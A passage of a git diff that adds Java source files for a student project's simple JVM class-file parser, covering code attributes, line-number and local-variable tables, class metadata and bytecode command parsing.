+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
+	    ByteCodeCommand[] cmds) {
+	super(attrNameIndex, attrLen);
+	this.maxStack = maxStack;
+	this.maxLocals = maxLocals;
+	this.codeLen = codeLen;
+	this.code = code;
+	this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+	this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+	this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+	int attrNameIndex = iter.nextU2ToInt();
+	int attrLen = iter.nextU4ToInt();
+	int maxStack = iter.nextU2ToInt();
+	int maxLocals = iter.nextU2ToInt();
+	int codeLen = iter.nextU4ToInt();
+
+	String code = iter.nextUxToHexString(codeLen);
+	System.out.println(code);
+
+	ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+	CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
+
+	int exceptionLength = iter.nextU2ToInt();
+	if (exceptionLength > 0) {
+	    String exceptionTable = iter.nextUxToHexString(exceptionLength);
+	    System.out.println("exception Table has not complemented" + exceptionTable);
+	}
+	// 解析子属性
+	int subAttrCount = iter.nextU2ToInt();
+
+	for (int j = 1; j <= subAttrCount; j++) {
+
+	    int subAttrIndex = iter.nextU2ToInt();
+	    String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+	    iter.back(2);
+
+	    if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+		LineNumberTable t = LineNumberTable.parse(iter);
+		codeAttr.setLineNumberTable(t);
+
+	    } else if (AttributeInfo.LOCAL_VAR_TABLE.equals(subAttrName)) {
+		LocalVariableTable t = LocalVariableTable.parse(iter);
+		codeAttr.setLocalVariableTable(t);
+
+	    } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+		StackMapTable t = StackMapTable.parse(iter);
+		codeAttr.setStackMapTable(t);
+	    } else {
+		throw new RuntimeException("Need implement" + subAttrName);
+	    }
+	}
+	return codeAttr;
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+	this.stackMapTable = t;
+
+    }
+
+    public String toString(ConstantPool pool) {
+	StringBuffer buffer = new StringBuffer();
+	for(int i=0;i<cmds.length;i++){
+		buffer.append(cmds[i].toString(pool)).append("\n");
+	}
+	//buffer.append("Code:").append(code).append("\n");
+	buffer.append("\n");
+	buffer.append(this.lineNumTable.toString());
+	buffer.append(this.localVarTable.toString(pool));
+	return buffer.toString();
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..f3b8c91705
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LineNumberTable.java
@@ -0,0 +1,69 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+	int startPC;
+	int lineNum;
+
+	public int getStartPC() {
+	    return startPC;
+	}
+
+	public void setStartPC(int startPC) {
+	    this.startPC = startPC;
+	}
+
+	public int getLineNum() {
+	    return lineNum;
+	}
+
+	public void setLineNum(int lineNum) {
+	    this.lineNum = lineNum;
+	}
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+	this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+	super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter) {
+	int attrNameIndex = iter.nextU2ToInt();
+	int attrLength = iter.nextU4ToInt();
+	LineNumberTable table = new LineNumberTable(attrNameIndex, attrLength);
+	int itemLength = iter.nextU2ToInt();
+
+	for (int i = 1; i <= itemLength; i++) {
+	    LineNumberItem item = new LineNumberItem();
+	    item.setStartPC(iter.nextU2ToInt());
+	    item.setLineNum(iter.nextU2ToInt());
+	    table.addLineNumberItem(item);
+	}
+
+	return table;
+    }
+
+    public String toString() {
+	StringBuilder buffer = new StringBuilder();
+	buffer.append("Line Number Table:\n");
+	for (LineNumberItem item : items) {
+	    buffer.append("startPC:" + item.getStartPC()).append(",");
+	    buffer.append("lineNum:" + item.getLineNum()).append("\n");
+	}
+	buffer.append("\n");
+	return buffer.toString();
+
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..f442ea5698
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,49 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+
+    public int getStartPC() {
+	return startPC;
+    }
+
+    public void setStartPC(int startPC) {
+	this.startPC = startPC;
+    }
+
+    public int getLength() {
+	return length;
+    }
+
+    public void setLength(int length) {
+	this.length = length;
+    }
+
+    public int getNameIndex() {
+	return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+	this.nameIndex = nameIndex;
+    }
+
+    public int getDescIndex() {
+	return descIndex;
+    }
+
+    public void setDescIndex(int descIndex) {
+	this.descIndex = descIndex;
+    }
+
+    public int getIndex() {
+	return index;
+    }
+
+    public void setIndex(int index) {
+	this.index = index;
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..106ae86460
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,51 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+
+import sun.util.logging.resources.logging;
+
+public class LocalVariableTable extends AttributeInfo {
+
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+	super(attrNameIndex, attrLen);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter) {
+	int attrNameIndex = iter.nextU2ToInt();
+	int attrlength = iter.nextU4ToInt();
+
+	LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrlength);
+	int itemLength = iter.nextU2ToInt();
+	for (int i = 1; i <= itemLength; i++) {
+	    LocalVariableItem item = new LocalVariableItem();
+	    item.setStartPC(iter.nextU2ToInt());
+	    item.setLength(iter.nextU2ToInt());
+	    item.setNameIndex(iter.nextU2ToInt());
+	    item.setDescIndex(iter.nextU2ToInt());
+	    item.setIndex(iter.nextU2ToInt());
+	    table.addLocalVariableItem(item);
+	}
+	return table;
+    }
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+	this.items.add(item);
+    }
+    public String toString(ConstantPool pool){
+	StringBuilder buffer = new StringBuilder();
+	buffer.append("Local Variable Table:\n");
+	for(LocalVariableItem item : items){
+		buffer.append("startPC:"+item.getStartPC()).append(",");
+		buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+		buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+		buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+	}
+	buffer.append("\n");
+	return buffer.toString();
+}
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..745a2fdc70
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java
@@ -0,0 +1,29 @@
+package com.github.HarryHook.coding2017.jvm.attr;
+
+import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo {
+
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex, int attrLen) {
+	super(attrNameIndex, attrLen);
+    }
+
+    public static StackMapTable parse(ByteCodeIterator iter) {
+	int index = iter.nextU2ToInt();
+	int len = iter.nextU4ToInt();
+	StackMapTable t = new StackMapTable(index, len);
+
+	// 后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+	String code = iter.nextUxToHexString(len);
+	t.setOriginalCode(code);
+
+	return t;
+    }
+
+    private void setOriginalCode(String code) {
+	this.originalCode = code;
+
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..fedc174261
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java
@@ -0,0 +1,26 @@
+package com.github.HarryHook.coding2017.jvm.clz;
+
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+	this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+	return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+	this.flagValue = flag;
+    }
+
+    public boolean isPublicClass() {
+	return (this.flagValue & 0x0001) != 0;
+    }
+
+    public boolean isFinalClass() {
+	return (this.flagValue & 0x0010) != 0;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..799a40cea7
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
@@ -0,0 +1,133 @@
+package com.github.HarryHook.coding2017.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.field.Field;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class ClassFile {
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+    private List<Field> fields = new ArrayList<Field>();
+    private List<Method> methods = new ArrayList<Method>();
+
+    public ClassIndex getClzIndex() {
+	return clzIndex;
+    }
+
+    public void setClzIndex(ClassIndex clzIndex) {
+	this.clzIndex = clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+	return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+	this.accessFlag = accessFlag;
+    }
+
+    public ConstantPool getConstantPool() {
+	return pool;
+    }
+
+    public int getMinorVersion() {
+	return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+	this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+	return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+	this.majorVersion = majorVersion;
+    }
+
+    public void setConstantPool(ConstantPool pool) {
+	this.pool = pool;
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+	this.clzIndex = clzIndex;
+    }
+
+    public void print() {
+
+	if (this.accessFlag.isPublicClass()) {
+	    System.out.println("Access flag : public  ");
+	}
+	System.out.println("Class Name:" + getClassName());
+	System.out.println("Super Class Name:" + getSuperClassName());
+
+    }
+
+    public String getClassName() {
+	int thisClassIndex = clzIndex.getThisClassIndex();
+	ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+	return thisClass.getClassName();
+    }
+
+    public String getSuperClassName() {
+	ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+	return superClass.getClassName();
+    }
+
+    public void addField(Field f) {
+	fields.add(f);
+    }
+
+    public List<Field> getFields() {
+	return fields;
+    }
+
+    public void addMethod(Method m) {
+	methods.add(m);
+
+    }
+
+    public List<Method> getMethods() {
+	return methods;
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+
+	for (Method m : methods) {
+
+	    int nameIndex = m.getNameIndex();
+	    int descriptionIndex = m.getDescriptorIndex();
+
+	    String name = this.getConstantPool().getUTF8String(nameIndex);
+	    String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+	    if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
+		return m;
+	    }
+	}
+	return null;
+    }
+
+    public Method getMainMethod() {
+	for (Method m : methods) {
+	    int nameIndex = m.getNameIndex();
+	    int descIndex = m.getDescriptorIndex();
+	    String name = this.getConstantPool().getUTF8String(nameIndex);
+	    String desc = this.getConstantPool().getUTF8String(descIndex);
+	    if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
+		return m;
+	    }
+	}
+	return null;
+    }
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..9b6162360d
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.github.HarryHook.coding2017.jvm.clz;
+
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public int getThisClassIndex() {
+	return thisClassIndex;
+    }
+
+    public void setThisClassIndex(int thisClassIndex) {
+	this.thisClassIndex = thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+	return superClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+	this.superClassIndex = superClassIndex;
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..6b1c020682
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..f5e6705a8a
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..b982fa7aa4
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
@@ -0,0 +1,155 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+
+public class CommandParser {
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+	if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
+	    throw new RuntimeException("the orignal code is not correct");
+
+	}
+
+	codes = codes.toUpperCase();
+
+	CommandIterator iter = new CommandIterator(codes);
+	List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+	while (iter.hasNext()) {
+	    String opCode = iter.next2CharAsString();
+
+	    if (new_object.equals(opCode)) {
+		NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+
+		cmds.add(cmd);
+	    } else if (invokespecial.equals(opCode)) {
+		InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+		// System.out.println( cmd.toString(clzFile.getConstPool()));
+		cmds.add(cmd);
+	    } else if (invokevirtual.equals(opCode)) {
+		InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+
+		cmds.add(cmd);
+	    } else if (getfield.equals(opCode)) {
+		GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+		cmds.add(cmd);
+	    } else if (getstatic.equals(opCode)) {
+		GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+		cmds.add(cmd);
+	    } else if (putfield.equals(opCode)) {
+		PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+		cmd.setOprand1(iter.next2CharAsInt());
+		cmd.setOprand2(iter.next2CharAsInt());
+		cmds.add(cmd);
+	    } else if (ldc.equals(opCode)) {
+		LdcCmd cmd = new LdcCmd(clzFile, opCode);
+		cmd.setOperand(iter.next2CharAsInt());
+		cmds.add(cmd);
+	    } else if (bipush.equals(opCode)) {
+		BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+		cmd.setOperand(iter.next2CharAsInt());
+		cmds.add(cmd);
+	    } else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+		    || iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+		    || fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+		NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+		cmds.add(cmd);
+	    } else {
+		throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
+	    }
+
+	}
+
+	calcuateOffset(cmds);
+
+	ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+	cmds.toArray(result);
+	return result;
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+	int offset = 0;
+	for (ByteCodeCommand cmd : cmds) {
+	    cmd.setOffset(offset);
+	    offset += cmd.getLength();
+	}
+
+    }
+
+    private static class CommandIterator {
+	String codes = null;
+	int pos = 0;
+
+	CommandIterator(String codes) {
+	    this.codes = codes;
+	}
+
+	public boolean hasNext() {
+	    return pos < this.codes.length();
+	}
+
+	public String next2CharAsString() {
+	    String result = codes.substring(pos, pos + 2);
+	    pos += 2;
+	    return result;
+	}
+
+	public int next2CharAsInt() {
+	    String s = this.next2CharAsString();
+	    return Integer.valueOf(s, 16).intValue();
+	}
+
+    }
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..ec34e7b4a7
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,18 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+    public GetFieldCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+	return super.getOperandAsField(pool);
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..1090e17374
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,24 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..4afc337f47
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..6b494dceda
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,21 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..073ddd73a9
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..9c959e31dd
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.github.HarryHook.coding2017.jvm.cmd;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..554eac0690
--- /dev/null
